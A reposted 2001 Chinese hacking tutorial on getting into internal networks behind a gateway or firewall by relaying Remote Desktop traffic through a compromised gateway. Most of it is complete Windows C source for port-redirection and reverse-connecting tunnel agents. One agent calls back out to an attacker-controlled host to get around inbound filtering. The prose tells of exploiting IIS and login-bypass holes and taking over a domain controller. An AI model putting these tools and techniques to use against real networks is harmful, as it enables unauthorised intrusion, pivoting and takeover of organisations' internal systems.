突破TCP-IP过滤/防火墙进入内网(转)

创建时间：2001-04-23
文章属性：转载
文章来源： www.patching.net
文章提交： xundi (xundi_at_xfocus.org)

作者:eyas

现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路，宽带、DDN、ADSL、ISDN等等，然后用一台服务器做网关，服务器两块网卡，一块是连接到Internet，另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

    也许有些人会这样想，我在内网之中，我们之间没有直接的连接，你没有办法攻击我。事实并非如此，在内网的机器同样可能遭受到来自Internet的攻击，当然前提是攻击者已经取得网关服务器的某些权限，呵呵，这是不是废话？其实，Internet上很多做网关的服务器并未经过严格的安全配置，要获取权限也不是想象中的那么难。

    Ok!废话就不说了，切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具，不是吗？呵呵。没有做特别说明的话，文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话，原理也差不多，把程序稍微修改就行了。

<<第一部分：利用TCP socket数据转发进入没有防火墙保护的内网>>

假设敌人网络拓扑如下图所示，没有安装防火墙或在网关服务器上做TCP/IP限制。

[img]www.xfocus.org/other/bcjs/yc7.ht1.jpg[/img]


    我们的目标是连接上敌人内网的Terminal Server[192.168.1.3]，因为没有办法直接和他建立连接，那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k，IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了，但我只是scripts kid，只会利用现成的漏洞做些简单的攻击：（555），那么我们就得到一个网关的shell了，我们可以在那上面运行我们的程序，虽然权限很低，但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序，让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话：实际入侵过程是先取得网关服务器的权限，然后用他做跳板，进一步摸清它的内部网络拓扑结构，再做进一步的入侵，现在敌人的网络拓扑是我们给他设计的，哈哈。

    攻击流程如下：

<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay，他监听TCP 3389端口[改成别的，那我们就要相应的修改TermClient了]等待我们去连接。

<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

<3>202.2.2.2.接受202.1.1.1的连接，然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

<4>这样我们和敌人内网的TermServer之间的数据通道就建好了，接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候，其实出来的界面是敌人内网的192.168.1.3，感觉怎么样？：）

程序代码如下：

/**********************************************************************

Module Name:AgentGateWay.c

Date:2001/4/15

CopyRight(c) eyas

说明：端口重定向工具，在网关上运行，把端口重定向到内网的IP、PORT，

      就可以进入内网了

      sock[0]==>sClient  sock[1]==>sTarget

**********************************************************************/

#include <winsock2.h>

#include <stdio.h>

#include "TCPDataRedird.c"

  

#define TargetIP TEXT("192.168.1.3")

#define TargetPort (int)3389

#define ListenPort (int)3389//监听端口

  

#pragma comment(lib,"ws2_32.lib")

  

int main()

{

    WSADATA wsd;

    SOCKET sListen=INVALID_SOCKET,//本机监听的socket

            sock[2];

    struct sockaddr_in Local,Client,Target;

    int iAddrSize;

    HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

           hThreadT2C=NULL;//T2C=TargetToClient

    DWORD dwThreadID;

  

    __try

    {

        if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

        {

            printf("/nWSAStartup() failed:%d",GetLastError());

            __leave;

        }

        sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

        if(sListen==INVALID_SOCKET)

        {

            printf("/nsocket() failed:%d",GetLastError());

            __leave;

        }

  

        Local.sin_addr.s_addr=htonl(INADDR_ANY);

        Local.sin_family=AF_INET;

        Local.sin_port=htons(ListenPort);

  

        Target.sin_family=AF_INET;

        Target.sin_addr.s_addr=inet_addr(TargetIP);

        Target.sin_port=htons(TargetPort);

  

        if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR)

        {

            printf("/nbind() failed:%d",GetLastError());

            __leave;

        }

        if(listen(sListen,1)==SOCKET_ERROR)

        {

            printf("/nlisten() failed:%d",GetLastError());

            __leave;

        }

        //scoket循环

        while(1)

        {

            printf("/n/n*************Waiting Client Connect to**************/n/n");

            iAddrSize=sizeof(Client);

            //get socket sClient

            sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);

            if(sock[0]==INVALID_SOCKET)

            {

                printf("/naccept() failed:%d",GetLastError());

                break;

            }

            printf("/nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),

                    ntohs(Client.sin_port));

            //create socket sTarget

            sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

            if(sock[1]==INVALID_SOCKET)

            {

                printf("/nsocket() failed:%d",GetLastError());

                __leave;

            }

            //connect to target port

            if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)

            {

                printf("/nconnect() failed:%d",GetLastError());

                __leave;

            }

            printf("/nconnect to target 3389 success!");

            //创建两个线程进行数据转发

            hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

            hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

            //等待两个线程结束

            WaitForSingleObject(hThreadC2T,INFINITE);

            WaitForSingleObject(hThreadT2C,INFINITE);

            CloseHandle(hThreadC2T);

            CloseHandle(hThreadT2C);

            closesocket(sock[1]);

            closesocket(sock[0]);      

            printf("/n/n*****************Connection Close*******************/n/n");

        }//end of sock外循环

    }//end of try

    __finally

    {

        if(sListen!=INVALID_SOCKET) closesocket(sListen);

        if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

        if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

        if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

        if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

        WSACleanup();

    }

    return 0;

}

/*************************************************************************

Module:TCPDataRedird.c

Date:2001/4/16

CopyRight(c) eyas<eyas@patching.net>

HomePage: www.patching.net

Thanks to shotgun

说明:TCP socket数据转发,sock[0]==>sClient  sock[1]==>sTarget

*************************************************************************/

#define BuffSize 20*1024 //缓冲区大小20k

//此函数负责从Client读取数据，然后转发给Target

DWORD WINAPI TCPDataC2T(SOCKET* sock)

{  

    int iRet,

        ret=-1,//select 返回值

        iLeft,

        idx,

        iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize

    char szSendToTargetBuff[BuffSize]={0},

         szRecvFromClientBuff[BuffSize]={0};

    fd_set fdread,fdwrite;

    printf("/n/n*****************Connection Active*******************/n/n");

        while(1)

            {              

                FD_ZERO(&fdread);

                FD_ZERO(&fdwrite);

                FD_SET(sock[0],&fdread);

                FD_SET(sock[1],&fdwrite);

                if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

                {

                    printf("/nselect() failed:%d",GetLastError());

                    break;

                }

                //printf("/nselect() return value ret=%d",ret);

                if(ret>0)

                {

                    //sClinet可读，client有数据要发送过来

                    if(FD_ISSET(sock[0],&fdread))

                    {

                        //接收sock[0]发送来的数据

                        iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);

                        if(iRet==SOCKET_ERROR)

                        {

                            printf("/nrecv() from sock[0] failed:%d",GetLastError());

                            break;

                        }

                        else if(iRet==0)

                            break;

                        printf("/nrecv %d bytes from sClinet.",iRet);

                        //把从client接收到的数据存添加到发往target的缓冲区

                        memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);

                        //刷新发往target的数据缓冲区当前buff大小

                        iSTTBCS+=iRet;

                        //清空接收client数据的缓冲区

                        memset(szRecvFromClientBuff,0,BuffSize);

                    }

                    //sTarget可写，把从client接收到的数据发送到target

                    if(FD_ISSET(sock[1],&fdwrite))

                    {

                        //转发数据到target的3389端口

                        iLeft=iSTTBCS;

                        idx=0;

                        while(iLeft>0)

                        {

                            iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);

                            if(iRet==SOCKET_ERROR)

                            {

                                printf("/nsend() to target failed:%d",GetLastError());

                                break;

                            }

                            printf("/nsend %d bytes to target",iRet);

                            iLeft-=iRet;

                            idx+=iRet;

                        }

                        //清空缓冲区

                        memset(szSendToTargetBuff,0,BuffSize);

                        //重置发往target的数据缓冲区当前buff大小

                        iSTTBCS=0;

                    }

                }//end of select ret    

                Sleep(1);

            }//end of data send & recv循环

        return 0;

}

//此函数负责从target读取数据，然后发送给client

DWORD WINAPI TCPDataT2C(SOCKET* sock)

{  

    int iRet,

        ret=-1,//select 返回值

        iLeft,

        idx,

        iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize

    char szRecvFromTargetBuff[BuffSize]={0},

         szSendToClientBuff[BuffSize]={0};

    fd_set fdread,fdwrite;

  

    while(1)

    {

        FD_ZERO(&fdread);

        FD_ZERO(&fdwrite);

        FD_SET(sock[0],&fdwrite);

        FD_SET(sock[1],&fdread);

        if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

        {

            printf("/nselect() failed:%d",GetLastError());

            break;

        }

        if(ret>0)

        {

            //sTarget可读，从target接收数据

            if(FD_ISSET(sock[1],&fdread))

            {

                //接收target返回数据

                iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);

                if(iRet==SOCKET_ERROR)

                {

                    printf("/nrecv() from target failed:%d",GetLastError());

                    break;

                }

                else if(iRet==0)

                    break;

                printf("/nrecv %d bytes from target",iRet);

                //把从target接收到的数据添加到发送到client的缓冲区

                memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);

                //清空接收target返回数据缓冲区

                memset(szRecvFromTargetBuff,0,BuffSize);

                //刷新发送到client的数据缓冲区当前大小

                iSTCBCS+=iRet;

            }

            //client可写，发送target返回数据到client

            if(FD_ISSET(sock[0],&fdwrite))

            {

                //发送target返回数据到client

                iLeft=iSTCBCS;

                idx=0;

                while(iLeft>0)

                {

                    iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);

                    if(iRet==SOCKET_ERROR)

                    {

                        printf("/nsend() to Client failed:%d",GetLastError());

                        break;

                    }

                    printf("/nsend %d bytes to Client",iRet);

                    iLeft-=iRet;

                    idx+=iRet;

                }

                //清空缓冲区

                memset(szSendToClientBuff,0,BuffSize);

                iSTCBCS=0;

            }

        }//end of select ret

        Sleep(1);

    }//end of while

    return 0;

}

<<第二部分：利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网>>

事实上很多内网没有第一部分所说的那么简单啦，我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制，限制了的话，又另当别论了。假设网络拓扑如下：

  [img]www.xfocus.org/other/bcjs/yc8.ht1.jpg[/img]




上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。

<1>我自己处于公司内网192.168.0.2，通过公司网关202.1.1.1到Internet，但我是网关的admin：）。

<2>敌人[其实是friend啦]的网关OS是2k adv server，在外网网卡上做了TCP/IP限制，只开放了25,53,80,110,3306这几个TCP PORT，通过一个漏洞，我得到了一个shell，可以通过IE来执行系统命令，虽然权限很低。网关有终端服务，登陆验证漏洞补丁未安装，但输入法帮助文件已经被删除了，但是我们可以通过shell把输入法帮助文件upload上去，因为他的系统权限没有设置好，我们可以写，呵呵。这样的话，我们只要能够连接到他的终端服务上去，我们就能绕过登陆验证，得到admin权限了。如何连接？有办法，用TCP socket转发。和第一部分说的一样吗？有些不同。因为他做了TCP/IP限制，我们不能连接他，只能让他来连接我们了，TCP反弹端口，呵呵。

攻击流程如下：

<1>在我的服务器202.1.1.1运行AgentMaster嗵齌CP PORT 12345，等待202.2.2.2来连接，监听TCP PORT 3389，等待我192.168.0.2连接。

<2>在敌人网关机器202.2.2.2运行AgentSlave，连接到202.1.1.1 TCP PORT 12345[注意：是反弹端口，TCP/IP过滤也拿他没办法]

<3>我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389

<4>敌人网关上的AgentSlave连接到自己本身在内网的IP==>192.168.1.1:3389

<5>数据通道就建立好啦。两个代理忠实的为我们转发数据，呵呵。当我们连接自己服务器的3389，其实出来的是敌人内网的某台机器，呵呵。

后来发现敌人的主域控制器是192.168.1.4，通过前面与他网关建立的连接，利用一个漏洞轻易的取得主域的admin权限，呵呵。他可能认为主域在内网，网关又做了TCP/IP过滤，攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389，以后就可以直接连接他的主域控制器啦，不过在网关登陆也一样。

程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分，那个文件做数据转发，通用的]：

/******************************************************************************

Module Name:AgentMaster.c

Date:2001/4/16

CopyRight(c) eyas

说明：scoket代理主控端，负责监听两个TCP socket,等待攻击者和AgentSlave来连接，两个

        scoket都连接成功后，开始转发数据

        sock[0]是client==>sock[0]  sock[1]是target==>sock[1]

******************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include "TCPDataRedird.c"

  

#pragma comment(lib,"ws2_32.lib")

  

#define TargetPort 3389//伪装的target的监听端口

#define LocalPort  12345//等待AgentSlave来connect的端口

int main()

{

    WSADATA wsd;

    SOCKET s3389=INVALID_SOCKET,//本机监听的socket，等待攻击者连接

            s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接

            sock[2]={INVALID_SOCKET,INVALID_SOCKET};

    struct sockaddr_in Local3389,Local1981,Attack,Slave;

    int iAddrSize;

    HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

           hThreadT2C=NULL;//T2C=TargetToClient

    DWORD dwThreadID;

  

    __try

    {

        //load winsock library

        if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

        {

            printf("/nWSAStartup() failed:%d",GetLastError());

            __leave;

        }

        //create socket

        s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

        if(s3389==INVALID_SOCKET)

        {

            printf("/nsocket() failed:%d",GetLastError());

            __leave;

        }

        //create socket

        s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

        if(s1981==INVALID_SOCKET)

        {

            printf("/nsocket() failed:%d",GetLastError());

            __leave;

        }

        //fill the struct

        Local3389.sin_addr.s_addr=htonl(INADDR_ANY);

        Local3389.sin_family=AF_INET;

        Local3389.sin_port=htons(TargetPort);

  

        Local1981.sin_addr.s_addr=htonl(INADDR_ANY);

        Local1981.sin_family=AF_INET;

        Local1981.sin_port=htons(LocalPort);

        //bind s3389 for attacker

        if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)

        {

            printf("/nbind() failed:%d",GetLastError());

            __leave;

        }

        //listen for attacker to connect

        if(listen(s3389,1)==SOCKET_ERROR)

        {

            printf("/nlisten() failed:%d",GetLastError());

            __leave;

        }

        //bind s1981 for AgentSlave

        if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)

        {

            printf("/nbind() failed:%d",GetLastError());

            __leave;

        }

        //listen for AgentSlave to connect

        if(listen(s1981,1)==SOCKET_ERROR)

        {

            printf("/nlisten() failed:%d",GetLastError());

            __leave;

        }

        //socket循环

        while(1)

        {

            //wait for AgentSlave to connect

            iAddrSize=sizeof(Slave);

            sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);

            if(sock[1]==INVALID_SOCKET)

            {

                printf("/naccept() failed:%d",GetLastError());

                break;

            }

            printf("/nAccept AgentSlave==>%s:%d",inet_ntoa(Slave.sin_addr),

                    ntohs(Slave.sin_port));

            //wait for Attacker to connect

            iAddrSize=sizeof(Attack);

            sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);

            if(sock[0]==INVALID_SOCKET)

            {

                printf("/naccept() failed:%d",GetLastError());

                break;

            }

            printf("/nAccept Attacker==>%s:%d",inet_ntoa(Attack.sin_addr),

                    ntohs(Attack.sin_port));

            //创建两个线程进行数据转发

            hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

            hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

            //等待两个线程结束

            WaitForSingleObject(hThreadC2T,INFINITE);

            CloseHandle(hThreadC2T);

            CloseHandle(hThreadT2C);

            closesocket(sock[0]);

            closesocket(sock[1]);

        }//end of socket while

    }//end of try

    __finally

    {

        //clean all

        if(s3389!=INVALID_SOCKET) closesocket(s3389);

        if(s1981!=INVALID_SOCKET) closesocket(s1981);

        if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

        if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

        if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

        if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

        WSACleanup();

    }

    return 0;

}

/***********************************************************************************

Module:AgentSlave.c

Date:2001/4/17

Copyright(c)eyas

HomePage: www.patching.net

说明：这个程序负责连接最终目标，连接主控端，然后转发数据

       这里连接到AgenrMaster的socket相当与sClient==>sock[0]，

              连接到最终目标的socoket是sTarget==>sock[1]

***********************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include "TCPDataRedird.c"

  

#pragma comment(lib,"ws2_32.lib")

  

#define TargetIP "192.168.1.3"

#define TargetPort (int)3389

#define AgentMasterIP "202.1.1.1"

#define AgentMasterPort (int)12345



int main()

{

       WSADATA wsd;

       SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET};

       struct sockaddr_in Master,Target;

       HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

                 hThreadT2C=NULL;//T2C=TargetToClient

       DWORD dwThreadID;

  

       __try

       {

              //load winsock library

              if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

              {

                     printf("/nWSAStartup() failed:%d",GetLastError());

                     __leave;

              }

              //循环

              while(1)

              {

                     //create client socket

                     sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

                     if(sock[0]==INVALID_SOCKET)

                     {

                            printf("/nsocket() failed:%d",GetLastError());

                            __leave;

                     }

                     //create target socket

                     sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

                     if(sock[1]==INVALID_SOCKET)

                     {

                            printf("/nsocket() failed:%d",GetLastError());

                            __leave;

                     }

                     //fill struct

                     Target.sin_family=AF_INET;

                     Target.sin_addr.s_addr=inet_addr(TargetIP);

                     Target.sin_port=htons(TargetPort);

  

                     Master.sin_family=AF_INET;

                     Master.sin_addr.s_addr=inet_addr(AgentMasterIP);

                     Master.sin_port=htons(AgentMasterPort);

                     //connect to AgentMaster

                     if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR)

                     {

                            //连接失败后，等待一会儿再连

                            printf("/nconnect() to master failed:%d",GetLastError());

                            closesocket(sock[0]);

                            closesocket(sock[1]);

                            Sleep(5000);

                            continue;

                     }

                     printf("/nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);

                     //connect to target

                     if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)

                     {

                            printf("/nconnect() to target failed:%d",GetLastError());

                            __leave;

                     }

                     printf("/nconnect to %s %d success!",TargetIP,TargetPort);

                     //创建两个线程进行数据转发

                     hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

                     hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

                     //等待两个线程结束

                     WaitForSingleObject(hThreadC2T,INFINITE);

                     CloseHandle(hThreadC2T);

                     CloseHandle(hThreadT2C);

                     closesocket(sock[0]);

                     closesocket(sock[1]);

              }//end of while

       }//end of try

       __finally

       {

              if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

              if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

              if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

              if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

              WSACleanup();

       }

       return 0;

}